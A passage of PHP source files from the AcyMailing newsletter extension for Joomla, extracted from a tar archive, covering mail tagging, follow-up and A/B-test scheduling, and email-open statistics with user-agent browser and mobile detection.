		acymailing_setVar('mailid', $mailid);

		$selectedTags = acymailing_getVar('array', 'tags', array(), '');
		
		acymailing_query('DELETE FROM #__acymailing_tagmail WHERE mailid = '.intval($mailid));

		if(!empty($selectedTags)){
			$securedTags = array();

			foreach($selectedTags as $oneTag){
				$securedTags[] = acymailing_escapeDB($oneTag);
			}

			$existingTags = acymailing_loadResultArray('SELECT name FROM #__acymailing_tag WHERE name = '.implode(' OR name = ', $securedTags));
			$nonExistingTags = array_diff($selectedTags, $existingTags);

			if(!empty($nonExistingTags)){
				$query = 'INSERT INTO #__acymailing_tag (name, userid) VALUES ';
				foreach($nonExistingTags as &$oneTag){
					$oneTag = '('.acymailing_escapeDB($oneTag).', '.intval(acymailing_currentUserId()).')';
				}
				acymailing_query($query.implode(',', $nonExistingTags));
			}

			$allTags = acymailing_loadResultArray('SELECT tagid FROM #__acymailing_tag WHERE name = '.implode(' OR name = ', $securedTags));

			acymailing_query('INSERT INTO #__acymailing_tagmail (tagid, mailid) VALUES ('.implode(','.intval($mailid).'),(', $allTags).','.intval($mailid).')');
		}

		$status = true;

		if(!empty($formData['listmail'])){
			$receivers = array();
			$remove = array();

			foreach($formData['listmail'] as $listid => $receiveme){
				if(!empty($receiveme)){
					$receivers[] = $listid;
				}else{
					$remove[] = $listid;
				}
			}

			$listMailClass = acymailing_get('class.listmail');
			$status = $listMailClass->save($mailid, $receivers, $remove);
		}

		if(!empty($mail->type) && $mail->type == 'followup' && empty($mail->mailid) && !empty($mail->published)){
			$mail->mailid = $mailid;
			$this->_publishfollowup($mail);
		}

		return $status;
	}

	function addFollowUpQueue($mailid, $all = false){
		$followup = $this->get($mailid);
		if(empty($followup->mailid)){
			$this->errors[] = 'Could not load mailid '.$mailid;
			return false;
		}

		$listmailClass = acymailing_get('class.listmail');
		$mycampaign = $listmailClass->getCampaign($followup->mailid);
		if(empty($mycampaign->listid)){
			$this->errors[] = 'Could not get the attached campaign';
			return false;
		}

		$config = acymailing_config();

		$query = 'INSERT IGNORE INTO `#__acymailing_queue` (`mailid`,`senddate`,`priority`,`subid`) ';
		$query .= 'SELECT '.$followup->mailid.', b.`subdate` + '.intval($followup->senddate).' , '.(int)$config->get('priority_followup', 2).', b.`subid` ';
		$query .= 'FROM `#__acymailing_listsub` as b';
		$query .= ' WHERE b.`status` = 1 AND b.`listid` = '.intval($mycampaign->listid);
		if(!$all) $query .= ' AND b.`subdate` > '.(time() - $followup->senddate);
		$nbinserted = acymailing_query($query);

		if(!empty($nbupdated)){
			$campaignHelper = acymailing_get('helper.campaign');
			$campaignHelper->updateUnsubdate($mycampaign->listid, $followup->senddate);
		}

		return $nbinserted;
	}

	private function _publishfollowup(&$mail){
		$listmailClass = acymailing_get('class.listmail');
		$mycampaign = $listmailClass->getCampaign($mail->mailid);

		if(empty($mycampaign->listid)){
			return;
		}

		$toggleHelper = acymailing_get('helper.toggle');
		$startdate = (time() - $mail->senddate);
		$total = acymailing_loadResult('SELECT COUNT(subid) as total FROM `#__acymailing_listsub` as b WHERE b.`status` = 1 AND b.`listid` = '.intval($mycampaign->listid).' AND b.`subdate` > '.intval($startdate));

		$totalall= acymailing_loadResult('SELECT COUNT(subid) as total FROM `#__acymailing_listsub` as b WHERE b.`status` = 1 AND b.`listid` = '.intval($mycampaign->listid));

		if(empty($total) && empty($totalall)) return;

		$text = acymailing_translation('FOLLOWUP_PUBLISHED_INFORMED');
		$text .= '<ul>';
		if(!empty($total)) $text .= '<li>'.$toggleHelper->toggleText('add', $mail->mailid, 'followup', acymailing_translation_sprintf('FOLLOWUP_ADDQUEUE_USERS', acymailing_getDate($startdate)).' ( '.acymailing_translation_sprintf('SELECTED_USERS', $total).' )').'</li>';
		if(!empty($totalall)) $text .= '<li>'.$toggleHelper->toggleText('addall', $mail->mailid, 'followup', acymailing_translation('FOLLOWUP_ADDQUEUE_ALLUSERS').' ( '.acymailing_translation_sprintf('SELECTED_USERS', $totalall).' )').'</li>';

		acymailing_enqueueMessage($text, 'notice');
	}

	function save($mail){
		if(isset($mail->alias) OR empty($mail->mailid)){
			if(empty($mail->alias)){
				$mail->alias = $mail->subject;
				$mail->alias = preg_replace('/(\\\u[0-9a-f]{4})+/i', '', $mail->alias);
			}
			$mail->alias = acymailing_cleanSlug($mail->alias);
		}

		if(empty($mail->mailid)){
			if(empty($mail->created)) $mail->created = time();
			if(empty($mail->userid)){
				$mail->userid = acymailing_currentUserId();
			}
			if(empty($mail->key)) $mail->key = acymailing_generateKey(8);
		}else{
			if(!empty($mail->attach)){
				$oldMailObject = $this->get($mail->mailid);
				if(!empty($oldMailObject) && is_array($oldMailObject->attach)){
					$mail->attach = array_merge($oldMailObject->attach, $mail->attach);
				}
			}
		}

		if(empty($mail->attach)) unset($mail->attach);
		if(empty($mail->favicon)) unset($mail->favicon);

		if(!empty($mail->attach) && !is_string($mail->attach)) $mail->attach = serialize($mail->attach);
		if(!empty($mail->favicon) && !is_string($mail->favicon)) $mail->favicon = serialize($mail->favicon);
		if(isset($mail->filter) && !is_string($mail->filter)) $mail->filter = serialize($mail->filter);

		if(!empty($mail->params)){
			if(!empty($mail->params['lastgenerateddate']) && !is_numeric($mail->params['lastgenerateddate'])){
				$mail->params['lastgenerateddate'] = acymailing_getTime($mail->params['lastgenerateddate']);
			}

			if(!empty($mail->mailid)) {
				$oldMail = $this->get($mail->mailid);
				if(!empty($oldMail->params)){
					foreach($oldMail->params as $key => $val){
						if(!isset($mail->params[$key])) $mail->params[$key] = $val;
					}
				}
			}

			$mail->params = serialize($mail->params);
		}

		if(!empty($mail->senddate) && !is_numeric($mail->senddate)){
			$mail->senddate = acymailing_getTime($mail->senddate);
		}

		acymailing_importPlugin('acymailing');

		if(empty($mail->mailid)){
			acymailing_trigger('onAcyBeforeMailCreate', array(&$mail));
			$status = acymailing_insertObject(acymailing_table('mail'), $mail);
		}else{
			acymailing_trigger('onAcyBeforeMailModify', array(&$mail));
			$status = acymailing_updateObject(acymailing_table('mail'), $mail, 'mailid');
		}

		if(!$status){
			$this->errors[] = substr(strip_tags(acymailing_getDBError()), 0, 200).'...';
		}

		if(!empty($mail->params) && is_string($mail->params)) $mail->params = unserialize($mail->params);
		if(!empty($mail->attach) && is_string($mail->attach)) $mail->attach = unserialize($mail->attach);
		if(!empty($mail->favicon) && is_string($mail->favicon)) $mail->favicon = unserialize($mail->favicon);

		if($status) return empty($mail->mailid) ? $status : $mail->mailid;
		return false;
	}

	function saveastmpl(){
		$tmplClass = acymailing_get('class.template');
		$newTmpl = new stdClass();

		$formData = acymailing_getVar('array', 'data', array(), '');
		if(!empty($formData['mail']['tempid'])){
			$template = $tmplClass->get($formData['mail']['tempid']);
			$newTmpl->styles = $template->styles;
			$newTmpl->stylesheet = $template->stylesheet;
			$newTmpl->category = $template->category;
		}
		if(!empty($formData['mail']['subject'])){
			$formData['mail']['subject'] = str_replace(chr(226).chr(128).chr(168), '', $formData['mail']['subject']);
			$newTmpl->subject = strip_tags($formData['mail']['subject']);
			$newTmpl->name = strip_tags($formData['mail']['subject']);
		}

		$newTmpl->body = acymailing_getVar('string', 'editor_body', '', '', ACY_ALLOWRAW);
		$newTmpl->body = acymailing_filterText($newTmpl->body);
		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$acypluginsHelper->cleanHtml($newTmpl->body);

		if(!empty($formData['mail']['thumb']) && $formData['mail']['thumb'] == 'delete'){
			$newTmpl->thumb = null;
		}elseif(!empty($formData['mail']['thumb'])){
			$newTmpl->thumb = strip_tags($formData['mail']['thumb']);
		}else{
			$mailid = acymailing_getCID('mailid');
			if(!empty($mailid)){
				$mail = $this->get($mailid);
				$newTmpl->thumb = $mail->thumb;
			}
		}
		if(!empty($formData['mail']['altbody'])) $newTmpl->altbody = strip_tags($formData['mail']['altbody']);
		if(!empty($formData['mail']['fromname'])) $newTmpl->fromname = strip_tags($formData['mail']['fromname']);
		if(!empty($formData['mail']['fromemail'])) $newTmpl->fromemail = strip_tags($formData['mail']['fromemail']);
		if(!empty($formData['mail']['replyname'])) $newTmpl->replyname = strip_tags($formData['mail']['replyname']);
		if(!empty($formData['mail']['replyemail'])) $newTmpl->replyemail = strip_tags($formData['mail']['replyemail']);
		if(!empty($formData['mail']['summary'])) $newTmpl->description = strip_tags($formData['mail']['summary']);
		$newTmpl->ordering = 1;

		$tempid = $tmplClass->save($newTmpl);
		if(!empty($tempid)){
			$formData['mail']['tempid'] = $tempid;
			acymailing_enqueueMessage(acymailing_translation('ACY_SAVEASTMPL_VALID'), 'message');
		}else{
			acymailing_enqueueMessage(acymailing_translation('ERROR_SAVING'), 'error');
		}

		return true;
	}


	function ab_test($abTestDetail, $mailsArray, $nbTotalReceivers){
		$query = "UPDATE #__acymailing_mail SET abtesting=".acymailing_escapeDB(serialize($abTestDetail)).", published=1 WHERE mailid IN (".implode(',', $mailsArray).")";
		acymailing_query($query);

		if($abTestDetail['action'] != 'manual'){
			$config = acymailing_config();
			$currentAbTests = $config->get('currentABTests', '');
			if(!empty($currentAbTests)){
				$currentData = unserialize($currentAbTests);
			}else $currentData = array();
			$newTest = new stdClass();
			$newTest->sendDate = $abTestDetail['time'] + ($abTestDetail['delay'] * 86400);
			$newTest->ids = $abTestDetail['mailids'];
			$currentData[] = $newTest;
			$newconfig = new stdClass();
			$newconfig->currentABTests = serialize($currentData);
			$config->save($newconfig);
		}

		$statsClass = acymailing_get('class.stats');
		$statsClass->delete($mailsArray);

		$queueClass = acymailing_get('class.queue');
		$time = time();
		$nbReceiversTest = floor($nbTotalReceivers * $abTestDetail['prct'] / 100);
		$queueClass->limit = $nbReceiversTest;
		$queueClass->orderBy = 'RAND()';
		$queueClass->queue($mailsArray[0], $time);
		$nbReceiversPerMail = floor($nbReceiversTest / count($mailsArray));
		foreach($mailsArray as $oneMail){
			if($oneMail == $mailsArray[0]) continue;
			$query = "UPDATE #__acymailing_queue SET mailid=".intval($oneMail)." WHERE mailid=".intval($mailsArray[0])." LIMIT ".$nbReceiversPerMail;
			acymailing_query($query);
		}
		$query = "UPDATE #__acymailing_mail SET senddate=".$time." WHERE mailid IN (".implode(',', $mailsArray).")";
		acymailing_query($query);
		return $nbReceiversTest;
	}


	function complete_abtest($typeAction, $mailid){
		$resDetails = acymailing_loadResultArray("SELECT abtesting FROM #__acymailing_mail WHERE mailid=".(int)$mailid);
		$abTestDetail = unserialize($resDetails[0]);
		$dataForCopy = array('mailid' => $mailid, 'abTestDetail' => $abTestDetail);
		$newMailid = $this->abTest_createFinalNewletter($typeAction, $dataForCopy);

		$queueClass = acymailing_get('class.queue');
		$time = time();
		$queueClass->queue($newMailid, $time);

		$mailidsTest = $abTestDetail['mailids'];
		$resUsersFromTest = acymailing_loadResultArray("SELECT subid FROM #__acymailing_userstats WHERE mailid IN (".$mailidsTest.")");
		if(!empty($resUsersFromTest)){
			acymailing_query("DELETE FROM #__acymailing_queue WHERE subid IN (".implode(',', $resUsersFromTest).") AND mailid=".$newMailid);
		}

		$abTestDetail['status'] = 'abTestFinalSend';
		$abTestDetail['newMail'] = $newMailid;
		$query = "UPDATE #__acymailing_mail SET abtesting=".acymailing_escapeDB(serialize($abTestDetail))." WHERE mailid IN (".$mailidsTest.")";
		acymailing_query($query);

		return $newMailid;
	}

	function abTest_createFinalNewletter($typeAction, $dataForCopy){

		if($typeAction == 'manual'){
			$mailid = $dataForCopy['mailid'];
			$newMailid = $this->copyOneNewsletter($mailid);
			return $newMailid;
		}

		$queryStat = 'SELECT mailid, openunique, clickunique, senthtml, senttext FROM #__acymailing_stats WHERE mailid IN ('.$dataForCopy['abTestDetail']['mailids'].')';
		$resStat = acymailing_loadObjectList($queryStat, 'mailid');
		$betterClick = -1;
		$betterOpen = -1;
		if(empty($resStat)) return 0;
		foreach($resStat as $mailid => $statsMail){
			if($statsMail->openunique > $betterOpen){
				$idOpen = $mailid;
				$betterOpen = $statsMail->openunique;
			}
			if($statsMail->clickunique > $betterClick){
				$idClick = $mailid;
				$betterClick = $statsMail->clickunique;
			}
		}
		if($dataForCopy['abTestDetail']['action'] == 'open'){
			$newMailid = $this->copyOneNewsletter($idOpen);
		}elseif($dataForCopy['abTestDetail']['action'] == 'click') $newMailid = $this->copyOneNewsletter($idClick);
		elseif($dataForCopy['abTestDetail']['action'] == 'mix'){
			$newSubject = acymailing_loadObjectList("SELECT subject, fromname, fromemail, replyname, replyemail FROM #__acymailing_mail WHERE mailid=".$idOpen);
			$newMailid = $this->copyOneNewsletter($idClick, $newSubject[0]);
		}
		return $newMailid;
	}

	function copyOneNewsletter($mailid, $subject = ''){
		$time = time();
		$query = 'INSERT INTO `#__acymailing_mail` (`subject`, `fromname`, `fromemail`, `replyname`, `replyemail`, `body`, `altbody`, `published`, `created`, `type`, `visible`, `userid`, `alias`, `attach`, `html`, `tempid`, `key`, `frequency`, `params`,`filter`,`metakey`,`metadesc`,`summary`,`thumb`,`senddate`)';
		if(empty($subject)){
			$query .= " SELECT `subject`, `fromname`, `fromemail`, `replyname`, `replyemail`";
		}else{
			$query .= " SELECT ".acymailing_escapeDB($subject->subject).", ".acymailing_escapeDB($subject->fromname).", ".acymailing_escapeDB($subject->fromemail).", ".acymailing_escapeDB($subject->replyname).", ".acymailing_escapeDB($subject->replyemail);
		}
		$query .= ", `body`, `altbody`, `published`, '.$time.', `type`, `visible`, `userid`, `alias`, `attach`, `html`, `tempid`, ".acymailing_escapeDB(md5(rand(1000, 999999))).', `frequency`, `params`,`filter`,`metakey`,`metadesc`,`summary`,`thumb`,'.time().' FROM `#__acymailing_mail` WHERE `mailid` = '.(int)$mailid;
		acymailing_query($query);
		$newMailid = acymailing_insertID();
		acymailing_query('INSERT IGNORE INTO `#__acymailing_listmail` (`listid`,`mailid`) SELECT `listid`,'.$newMailid.' FROM `#__acymailing_listmail` WHERE `mailid` = '.(int)$mailid);
		acymailing_query('INSERT IGNORE INTO `#__acymailing_tagmail` (`tagid`,`mailid`) SELECT `tagid`,'.$newMailid.' FROM `#__acymailing_tagmail` WHERE `mailid` = '.(int)$mailid);
		return $newMailid;
	}

	function updateAbTest_auto($idsToSend){
		if(empty($idsToSend)) return;
		$resDetails = acymailing_loadObjectList("SELECT mailid, abtesting FROM #__acymailing_mail WHERE mailid IN (".$idsToSend.") AND abtesting IS NOT NULL", 'mailid');
		if(empty($resDetails)) return;

		$oneAbTest = current($resDetails);
		$oneMailid = $oneAbTest->mailid;
		$abTestDetail = unserialize($oneAbTest->abtesting);
		$mailsArray = explode(',', $abTestDetail['mailids']);

		$query = "SELECT COUNT(*) FROM #__acymailing_queue WHERE mailid IN (".$abTestDetail['mailids'].")";
		$queueCheck = acymailing_loadResult($query);

		if(empty($queueCheck)){
			if(($abTestDetail['time'] + ($abTestDetail['delay'] * 24 * 3600)) < time()){
				$newMailid = $this->complete_abtest($abTestDetail['action'], $oneMailid);
				return $newMailid;
			}
		}
	}
}
com_acymailing/classes/stats.php000060400000025645152455305300013035 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class statsClass extends acymailingClass{

	var $tables = array('urlclick', 'userstats', 'stats');
	var $pkey = 'mailid';

	var $countReturn = true;

	var $subid = 0;
	var $mailid = 0;


	function saveStats(){
		$subid = empty($this->subid) ? acymailing_getVar('int', 'subid') : $this->subid;
		$mailid = empty($this->mailid) ? acymailing_getVar('int', 'mailid') : $this->mailid;
		if(empty($subid) || empty($mailid)) return false;
		if(acymailing_isRobot()) return false;

		$actual = acymailing_loadObject('SELECT `open` FROM '.acymailing_table('userstats').' WHERE `mailid` = '.intval($mailid).' AND `subid` = '.intval($subid).' LIMIT 1');
		if(empty($actual)) return false;

		$userHelper = acymailing_get('helper.user');

		try{
			$results = acymailing_query('UPDATE #__acymailing_subscriber SET `lastopen_date` = '.time().', `lastopen_ip` = '.acymailing_escapeDB($userHelper->getIP()).' WHERE `subid` = '.intval($subid));
		}catch(Exception $e){
			$results = null;
		}
		if($results === null){
			acymailing_display(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
			exit;
		}

		$open = 0;

		if(empty($actual->open)){
			$open = 1;
			$unique = ',openunique = openunique +1';
		}elseif($this->countReturn){
			$open = $actual->open + 1;
			$unique = '';
		}
		if(empty($open)) return true;

		$ipClass = acymailing_get('helper.user');
		$ip = $ipClass->getIP();

		try{
			$results = acymailing_query('UPDATE '.acymailing_table('userstats').' SET open = '.$open.', opendate = '.time().', `ip`= '.acymailing_escapeDB($ip).' WHERE mailid = '.$mailid.' AND subid = '.$subid);
		}catch(Exception $e){
			$results = null;
		}
		if($results === null){
			acymailing_display(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
			exit;
		}

		$browsers = array(
			'Abrowse' => 'abrowse',
			'Abolimba' => 'abolimba',
			'3ds' => '3ds',
			'Acoo browser' => 'acoo browser',
			'Alienforce' => 'alienforce',
			'Amaya' => 'amaya',
			'Amigavoyager' => 'amigavoyager',
			'Antfresco' => 'antfresco',
			'Aol' => 'aol',
			'Arora' => 'arora',
			'Avant' => 'avant',
			'Baidubrowser' => 'baidubrowser',
			'Beamrise' => 'beamrise',
			'Beonex' => 'beonex',
			'Blackbird' => 'blackbird',
			'Blackhawk' => 'blackhawk',
			'Bolt' => 'bolt',
			'Browsex' => 'browsex',
			'Browzar' => 'browzar',
			'Bunjalloo' => 'bunjalloo',
			'Camino' => 'camino',
			'Charon' => 'charon',
			'Chromium' => 'chromium',
			'Columbus' => 'columbus',
			'Cometbird' => 'cometbird',
			'Dragon' => 'dragon',
			'Conkeror' => 'conkeror',
			'Coolnovo' => 'coolnovo',
			'Corom' => 'corom',
			'Deepnet explorer' => 'deepnet explorer',
			'Demeter' => 'demeter',
			'Deskbrowse' => 'deskbrowse',
			'Dillo' => 'dillo',
			'Dooble' => 'dooble',
			'Dplus' => 'dplus',
			'Edbrowse' => 'edbrowse',
			'Element browser' => 'element browser',
			'Elinks' => 'elinks',
			'Epic' => 'epic',
			'Epiphany' => 'epiphany',
			'Firebird' => 'firebird',
			'Flock' => 'flock',
			'Fluid' => 'fluid',
			'Galeon' => 'galeon',
			'Globalmojo' => 'globalmojo',
			'Greenbrowser' => 'greenbrowser',
			'Hotjava' => 'hotjava',
			'Hv3' => 'hv3',
			'Hydra' => 'hydra',
			'Ibrowse' => 'ibrowse',
			'Icab' => 'icab',
			'Icebrowser' => 'icebrowser',
			'Iceape' => 'iceape',
			'Icecat' => 'icecat',
			'Icedragon' => 'icedragon',
			'Iceweasel' => 'iceweasel',
			'Surfboard' => 'surfboard',
			'Irider' => 'irider',
			'Iron' => 'iron',
			'Meleon' => 'meleon',
			'Ninja' => 'ninja',
			'Kapiko' => 'kapiko',
			'Kazehakase' => 'kazehakase',
			'Strata' => 'strata',
			'Kkman' => 'kkman',
			'Konqueror' => 'konqueror',
			'Kylo' => 'kylo',
			'Lbrowser' => 'lbrowser',
			'Links' => 'links',
			'Lobo' => 'lobo',
			'Lolifox' => 'lolifox',
			'Lunascape' => 'lunascape',
			'Lynx' => 'lynx',
			'Maxthon' => 'maxthon',
			'Midori' => 'midori',
			'Minibrowser' => 'minibrowser',
			'Mosaic' => 'mosaic',
			'Multizilla' => 'multizilla',
			'Myibrow' => 'myibrow',
			'Netcaptor' => 'netcaptor',
			'Netpositive' => 'netpositive',
			'Netscape' => 'netscape',
			'Navigator' => 'navigator',
			'Netsurf' => 'netsurf',
			'Nintendobrowser' => 'nintendobrowser',
			'Offbyone' => 'offbyone',
			'Omniweb' => 'omniweb',
			'Orca' => 'orca',
			'Oregano' => 'oregano',
			'Otter' => 'otter',
			'Palemoon' => 'palemoon',
			'Patriott' => 'patriott',
			'Perk' => 'perk',
			'Phaseout' => 'phaseout',
			'Phoenix' => 'phoenix',
			'Polarity' => 'polarity',
			'Playstation 4' => 'playstation 4',
			'Qtweb internet browser' => 'qtweb internet browser',
			'Qupzilla' => 'qupzilla',
			'Rekonq' => 'rekonq',
			'Retawq' => 'retawq',
			'Roccat' => 'roccat',
			'Rockmelt' => 'rockmelt',
			'Ryouko' => 'ryouko',
			'Saayaa' => 'saayaa',
			'Seamonkey' => 'seamonkey',
			'Shiira' => 'shiira',
			'Sitekiosk' => 'sitekiosk',
			'Skipstone' => 'skipstone',
			'Sleipnir' => 'sleipnir',
			'Slimboat' => 'slimboat',
			'Slimbrowser' => 'slimbrowser',
			'Metasr' => 'metasr',
			'Stainless' => 'stainless',
			'Sundance' => 'sundance',
			'Sundial' => 'sundial',
			'Sunrise' => 'sunrise',
			'Superbird' => 'superbird',
			'Surf' => 'surf',
			'Swiftweasel' => 'swiftweasel',
			'Tenfourfox' => 'tenfourfox',
			'Theworld' => 'theworld',
			'Tjusig' => 'tjusig',
			'Tencenttraveler' => 'tencenttraveler',
			'Ultrabrowser' => 'ultrabrowser',
			'Usejump' => 'usejump',
			'Uzbl' => 'uzbl',
			'Vonkeror' => 'vonkeror',
			'V3m' => 'v3m',
			'Webianshell' => 'webianshell',
			'Webrender' => 'webrender',
			'Weltweitimnetzbrowser' => 'weltweitimnetzbrowser',
			'Whitehat aviator' => 'whitehat aviator',
			'Wkiosk' => 'wkiosk',
			'Worldwideweb' => 'worldwideweb',
			'Wyzo' => 'wyzo',
			'Smiles' => 'smiles',
			'Yabrowser' => 'yabrowser',
			'Yrcweblink' => 'yrcweblink',
			'Zbrowser' => 'zbrowser',
			'Zipzap' => 'zipzap',
			'Firefox' => 'firefox',
			'Internet Explorer' => 'msie|trident',
			'Opera' => 'opera',
			'Chrome' => 'chrome',
			'Safari' => 'safari',
			'Thunderbird' => 'thunderbird',
			'Outlook' => 'outlook',
			'Airmail' => 'airmail',
			'Barca' => 'barca',
			'Eudora' => 'eudora',
			'Gcmail' => 'gcmail',
			'Lotus' => 'lotus',
			'Pocomail' => 'pocomail',
			'Postbox' => 'postbox',
			'Shredder' => 'shredder',
			'Sparrow' => 'sparrow',
			'Spicebird' => 'spicebird',
			'Bat!' => 'bat!',
			'Tizenbrowser' => 'tizenbrowser',
			'Apple Mail' => 'applewebkit',
			'Mozilla' => 'mozilla',
			'Gecko' => 'gecko'
		);

		$name = "unknown";
		$version = "";

		if(isset($_SERVER['HTTP_USER_AGENT'])){
			$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
		}else{
			$agent = "unknown";
		}
		foreach($browsers as $key => $oneBrowser){
			if(preg_match("#($oneBrowser)[/ ]?([0-9]*)#", $agent, $match)){
				$name = $key;
				$version = $this->_getRealBrowserVersion($match[2], $name, $agent);
				break;
			}
		}

		$isMobile = 0;
		$osName = '';
		if(preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/', $agent) || preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i', substr($agent, 0, 4))){
			$isMobile = 1;
			$osName = "unknown";
			$mobileOs = array("bada" => "Bada", "ubuntu; mobile" => "Ubuntu", "ubuntu; tablet" => "Ubuntu", "tizen" => "Tizen", "palm os" => "Palm", "meego" => "meeGo", "symbian" => "Symbian", "symbos" => "Symbian", "blackberry" => "BlackBerry", "windows ce" => "Windows Phone", "windows mobile" => "Windows Phone", "windows phone" => "Windows Phone", "iphone" => "iOS", "ipad" => "iOS", "ipod" => "iOS", "android" => "Android");
			$mobileOsKeys = array_keys($mobileOs);
			foreach($mobileOsKeys as $oneMobileOsKey){
				if(preg_match("/($oneMobileOsKey)/", $agent, $match2)){
					$osName = $mobileOs[$match2[1]];
					break;
				}
			}
		}

		try{
			$results = acymailing_query('UPDATE '.acymailing_table('userstats').' SET `is_mobile` = '.intval($isMobile).', `mobile_os` = '.acymailing_escapeDB($osName).', `browser` = '.acymailing_escapeDB($name).', browser_version = '.intval($version).', user_agent = '.acymailing_escapeDB($agent).' WHERE mailid = '.$mailid.' AND subid = '.$subid.' LIMIT 1');
		}catch(Exception $e){
			$results = null;
		}
		if($results === null){
			acymailing_display(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
			exit;
		}

		acymailing_query('UPDATE '.acymailing_table('stats').' SET opentotal = opentotal +1 '.$unique.' WHERE mailid = '.$mailid.' LIMIT 1');

		if(!empty($subid)){
			$filterClass = acymailing_get('class.filter');
			$filterClass->subid = $subid;
			$filterClass->trigger('opennews');
		}

		$classGeoloc = acymailing_get('class.geolocation');
		$classGeoloc->saveGeolocation('open', $subid);

		acymailing_importPlugin('acymailing');
		acymailing_trigger('onAcyOpenMail', array($subid, $mailid));

		return true;
	}

	private function _getRealBrowserVersion($versionUA, $browserUA, $userAgent){
		if($browserUA == 'Internet Explorer' && strpos($userAgent, 'trident') !== false){
			return '11';
		}

		return $versionUA;
	}

}
com_acymailing/classes/action.php000060400000005673152455305300013153 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class actionClass extends acymailingClass{

	var $tables = array('action');
	var $pkey = 'action_id';

	function getActions($index = '', $actionIds = 'all'){
		$onlyActionIds = array();
		if(strtolower($actionIds) != 'all'){
			$onlyActionIds = explode(',', $actionIds);
			acymailing_arrayToInteger($onlyActionIds);
		}

		return acymailing_loadObjectList('SELECT * FROM '.acymailing_table('action').(empty($onlyActionIds) ? '' : ' WHERE listid IN ('.implode(',', $onlyActionIds).')').' ORDER BY ordering ASC', $index);
	}

	function delete($elements){
		if(!is_array($elements)) $elements = array($elements);
		acymailing_arrayToInteger($elements);
		if(empty($elements)) return 0;

		return parent::delete($elements);
	}

	function get($actionid, $default = null){
		$query = 'SELECT a.*, b.'.$this->cmsUserVars->name.' AS creatorname, b.'.$this->cmsUserVars->username.' AS creatorusername, b.'.$this->cmsUserVars->email.' AS email FROM '.acymailing_table('action').' AS a LEFT JOIN '.acymailing_table($this->cmsUserVars->table, false).' AS b on a.userid = b.'.$this->cmsUserVars->id.' WHERE action_id = '.intval($actionid).' LIMIT 1';
		return acymailing_loadObject($query);
	}

	function saveForm(){
		$action = new stdClass();
		$action->action_id = acymailing_getCID('action_id');

		$formData = acymailing_getVar('array', 'data', array(), '');

		foreach($formData['action'] as $column => $value){
			if(acymailing_isAdmin()){
				acymailing_secureField($column);
				$action->$column = strip_tags($value);
			}
		}
		if(!empty($action->username)) $action->username = acymailing_punycode($action->username);

